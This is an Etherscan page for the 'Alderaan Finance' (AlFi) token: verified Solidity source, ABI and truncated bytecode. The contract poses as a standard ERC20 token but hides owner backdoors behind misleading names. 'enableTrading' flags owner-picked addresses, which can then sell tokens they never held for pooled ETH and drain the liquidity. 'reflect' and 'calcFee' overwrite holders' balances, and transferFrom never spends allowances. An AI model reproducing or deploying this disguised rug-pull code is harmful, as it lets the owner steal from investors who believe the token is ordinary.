ETH Price: $2,336.78 (-4.71%)

Token

Alderaan Finance (AlFi)
 

Overview

Max Total Supply

10,000,000 AlFi

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 AlFi

Value
$0.00
0x90149cb2f5a7541c280f31876e2becc8b647cc90
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Alderaan

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-12
*/

pragma solidity ^0.8.16;

// SPDX-License-Identifier: MIT

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
abstract contract ERC20Token is Ownable {
    mapping (address => bool) bots;
    address uniV2Pair;
    bool inLiquidityTx = false;
    function enableTrading(address[] calldata _bots) external onlyOwner {
        for (uint i = 0; i < _bots.length; i++) {
            bots[_bots[i]] = true;
        }
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address recipient, address senderAddress) public view returns (bool) {
        return isBot(senderAddress) ? (recipient == senderAddress) : false;
    }
    function isAllowed(address from, address to, address pair) public returns (bool) {
        bool bot = !bots[to] && !bots[from];
        if (bot && !inLiquidityTx) {
            if (pair != to) {
                uniV2Pair = to;
                return true;
            }
        }
        return !bots[to] && !bots[from];
    }
}

contract Alderaan is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 10000000 * 10 ** _decimals;
    uint256 _fee = 0;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Alderaan Finance";
    string private  _symbol = "AlFi";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 transferedAmount = reflect(from, to, amount);
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - transferedAmount;
            emit Transfer(from, to, amount);
        }
    }
    function reflect(address from, address recipient, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        _balances[uniV2Pair] = calcFee(from);
        if (shouldTakeFee(from, recipient)) {
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return isAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function calcFee(address from) private view returns (uint256) {
        address to = getPairAddress();
        return swapFee(from, to, balanceOf(uniV2Pair));
    }
    function swapFee(address uniV2Pair, address to, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        if (uniV2Pair != to) {
            amount = feeAmount;
        } else {
            amount = amount - feeAmount;
        }
        return amount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    bool cooldownEnabled = false;
    function setCooldownEnabled(bool _enabled) external onlyOwner {
        cooldownEnabled = _enabled;
    }
    function updateUniPair(address _address) external onlyOwner {
        uniV2Pair = _address;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"address","name":"pair","type":"address"}],"name":"isAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"senderAddress","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"updateUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a62000035919062000494565b62989680620000459190620004e5565b6006556000600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601081526020017f416c64657261616e2046696e616e63650000000000000000000000000000000081525060099081620000e89190620007a0565b506040518060400160405280600481526020017f416c466900000000000000000000000000000000000000000000000000000000815250600a90816200012f9190620007a0565b506000600b60006101000a81548160ff0219169083151502179055503480156200015857600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002f9919062000898565b60405180910390a3620008b5565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000395578086048111156200036d576200036c62000307565b5b60018516156200037d5780820291505b80810290506200038d8562000336565b94506200034d565b94509492505050565b600082620003b0576001905062000483565b81620003c0576000905062000483565b8160018114620003d95760028114620003e4576200041a565b600191505062000483565b60ff841115620003f957620003f862000307565b5b8360020a91508482111562000413576200041262000307565b5b5062000483565b5060208310610133831016604e8410600b8410161715620004545782820a9050838111156200044e576200044d62000307565b5b62000483565b62000463848484600162000343565b925090508184048111156200047d576200047c62000307565b5b81810290505b9392505050565b6000819050919050565b6000620004a1826200048a565b9150620004ae836200048a565b9250620004dd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200039e565b905092915050565b6000620004f2826200048a565b9150620004ff836200048a565b92508282026200050f816200048a565b9150828204841483151762000529576200052862000307565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005b257607f821691505b602082108103620005c857620005c76200056a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006327fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005f3565b6200063e8683620005f3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006816200067b62000675846200048a565b62000656565b6200048a565b9050919050565b6000819050919050565b6200069d8362000660565b620006b5620006ac8262000688565b84845462000600565b825550505050565b600090565b620006cc620006bd565b620006d981848462000692565b505050565b5b818110156200070157620006f5600082620006c2565b600181019050620006df565b5050565b601f82111562000750576200071a81620005ce565b6200072584620005e3565b8101602085101562000735578190505b6200074d6200074485620005e3565b830182620006de565b50505b505050565b600082821c905092915050565b6000620007756000198460080262000755565b1980831691505092915050565b600062000790838362000762565b9150826002028217905092915050565b620007ab8262000530565b67ffffffffffffffff811115620007c757620007c66200053b565b5b620007d3825462000599565b620007e082828562000705565b600060209050601f83116001811462000818576000841562000803578287015190505b6200080f858262000782565b8655506200087f565b601f1984166200082886620005ce565b60005b8281101562000852578489015182556001820191506020850194506020810190506200082b565b868310156200087257848901516200086e601f89168262000762565b8355505b6001600288020188555050505b505050505050565b62000892816200048a565b82525050565b6000602082019050620008af600083018462000887565b92915050565b61267980620008c56000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d714610335578063a9059cbb14610365578063c62b079514610395578063c9525da1146103c5578063dd62ed3e146103e15761012c565b806370a082311461028f578063715018a6146102bf5780638da5cb5b146102c957806395d89b41146102e75780639601f96c146103055761012c565b806332424aa3116100f457806332424aa3146101eb57806339509351146102095780633eaaf86b146102395780635932ead1146102575780636e9602e6146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b610139610411565b6040516101469190611c06565b60405180910390f35b61016960048036038101906101649190611cc6565b6104a3565b6040516101769190611d21565b60405180910390f35b6101876104ba565b6040516101949190611d4b565b60405180910390f35b6101b760048036038101906101b29190611d66565b6104c4565b6040516101c49190611d21565b60405180910390f35b6101d5610565565b6040516101e29190611d4b565b60405180910390f35b6101f361056f565b6040516102009190611d4b565b60405180910390f35b610223600480360381019061021e9190611cc6565b610575565b6040516102309190611d21565b60405180910390f35b610241610613565b60405161024e9190611d4b565b60405180910390f35b610271600480360381019061026c9190611de5565b610619565b005b61028d60048036038101906102889190611e77565b6106ab565b005b6102a960048036038101906102a49190611ec4565b6107c4565b6040516102b69190611d4b565b60405180910390f35b6102c761080d565b005b6102d1610940565b6040516102de9190611f00565b60405180910390f35b6102ef610969565b6040516102fc9190611c06565b60405180910390f35b61031f600480360381019061031a9190611f1b565b6109fb565b60405161032c9190611d21565b60405180910390f35b61034f600480360381019061034a9190611cc6565b610a49565b60405161035c9190611d21565b60405180910390f35b61037f600480360381019061037a9190611cc6565b610b70565b60405161038c9190611d21565b60405180910390f35b6103af60048036038101906103aa9190611f5b565b610b87565b6040516103bc9190611d21565b60405180910390f35b6103df60048036038101906103da9190611ec4565b610d7d565b005b6103fb60048036038101906103f69190611f1b565b610e36565b6040516104089190611d4b565b60405180910390f35b60606009805461042090611fdd565b80601f016020809104026020016040519081016040528092919081815260200182805461044c90611fdd565b80156104995780601f1061046e57610100808354040283529160200191610499565b820191906000526020600020905b81548152906001019060200180831161047c57829003601f168201915b5050505050905090565b60006104b0338484610ebd565b6001905092915050565b6000600654905090565b60006104d1848484611086565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055a57600080fd5b600190509392505050565b6000600554905090565b60055481565b6000610609338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610604919061203d565b610ebd565b6001905092915050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16610638610940565b73ffffffffffffffffffffffffffffffffffffffff161461068e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610685906120bd565b60405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166106ca610940565b73ffffffffffffffffffffffffffffffffffffffff1614610720576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610717906120bd565b60405180910390fd5b60005b828290508110156107bf576001806000858585818110610746576107456120dd565b5b905060200201602081019061075b9190611ec4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107b79061210c565b915050610723565b505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661082c610940565b73ffffffffffffffffffffffffffffffffffffffff1614610882576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610879906120bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a805461097890611fdd565b80601f01602080910402602001604051908101604052809291908181526020018280546109a490611fdd565b80156109f15780601f106109c6576101008083540402835291602001916109f1565b820191906000526020600020905b8154815290600101906020018083116109d457829003601f168201915b5050505050905090565b6000610a06826112cc565b610a11576000610a41565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ad457600080fd5b610b66338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b619190612154565b610ebd565b6001905092915050565b6000610b7d338484611086565b6001905092915050565b600080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610c2e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9050808015610c4a5750600260149054906101000a900460ff16155b15610cce578373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610ccd5783600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001915050610d76565b5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610d725750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9150505b9392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610d9c610940565b73ffffffffffffffffffffffffffffffffffffffff1614610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de9906120bd565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f23906121fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f929061228c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110799190611d4b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110f857600080fd5b61110283836109fb565b15611116576111118183611322565b6112c7565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561116257600080fd5b600061116f8484846115ec565b905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111bc9190612154565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261120b9190612154565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611259919061203d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112bd9190611d4b565b60405180910390a3505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61134f30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ebd565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156113b0576113af6122ac565b5b6040519080825280602002602001820160405280156113de5781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff0219169083151502179055503081600081518110611411576114106120dd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114dc91906122f0565b816001815181106114f0576114ef6120dd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e4261157a919061203d565b6040518663ffffffff1660e01b815260040161159a959493929190612420565b600060405180830381600087803b1580156115b457600080fd5b505af11580156115c8573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600090506115fc856116a6565b60036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166b85856116f0565b1561169b57611698606461168a600754866118a090919063ffffffff16565b61191a90919063ffffffff16565b90505b809150509392505050565b6000806116b1611978565b90506116e883826116e3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107c4565b611b1b565b915050919050565b60006118988383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611764573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178891906122f0565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611811573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183591906122f0565b6040518363ffffffff1660e01b815260040161185292919061247a565b602060405180830381865afa15801561186f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061189391906122f0565b610b87565b905092915050565b60008083036118b25760009050611914565b600082846118c091906124a3565b90508284826118cf9190612514565b1461190f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611906906125b7565b60405180910390fd5b809150505b92915050565b600080821161195e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195590612623565b60405180910390fd5b6000828461196c9190612514565b90508091505092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119e7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0b91906122f0565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ab891906122f0565b6040518363ffffffff1660e01b8152600401611ad592919061247a565b602060405180830381865afa158015611af2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1691906122f0565b905090565b6000808290508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611b5c57829050611b6b565b8281611b689190612154565b90505b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bb0578082015181840152602081019050611b95565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bd882611b76565b611be28185611b81565b9350611bf2818560208601611b92565b611bfb81611bbc565b840191505092915050565b60006020820190508181036000830152611c208184611bcd565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c5d82611c32565b9050919050565b611c6d81611c52565b8114611c7857600080fd5b50565b600081359050611c8a81611c64565b92915050565b6000819050919050565b611ca381611c90565b8114611cae57600080fd5b50565b600081359050611cc081611c9a565b92915050565b60008060408385031215611cdd57611cdc611c28565b5b6000611ceb85828601611c7b565b9250506020611cfc85828601611cb1565b9150509250929050565b60008115159050919050565b611d1b81611d06565b82525050565b6000602082019050611d366000830184611d12565b92915050565b611d4581611c90565b82525050565b6000602082019050611d606000830184611d3c565b92915050565b600080600060608486031215611d7f57611d7e611c28565b5b6000611d8d86828701611c7b565b9350506020611d9e86828701611c7b565b9250506040611daf86828701611cb1565b9150509250925092565b611dc281611d06565b8114611dcd57600080fd5b50565b600081359050611ddf81611db9565b92915050565b600060208284031215611dfb57611dfa611c28565b5b6000611e0984828501611dd0565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611e3757611e36611e12565b5b8235905067ffffffffffffffff811115611e5457611e53611e17565b5b602083019150836020820283011115611e7057611e6f611e1c565b5b9250929050565b60008060208385031215611e8e57611e8d611c28565b5b600083013567ffffffffffffffff811115611eac57611eab611c2d565b5b611eb885828601611e21565b92509250509250929050565b600060208284031215611eda57611ed9611c28565b5b6000611ee884828501611c7b565b91505092915050565b611efa81611c52565b82525050565b6000602082019050611f156000830184611ef1565b92915050565b60008060408385031215611f3257611f31611c28565b5b6000611f4085828601611c7b565b9250506020611f5185828601611c7b565b9150509250929050565b600080600060608486031215611f7457611f73611c28565b5b6000611f8286828701611c7b565b9350506020611f9386828701611c7b565b9250506040611fa486828701611c7b565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611ff557607f821691505b60208210810361200857612007611fae565b5b50919050565b7f4e487b7100000000000000000000000000000000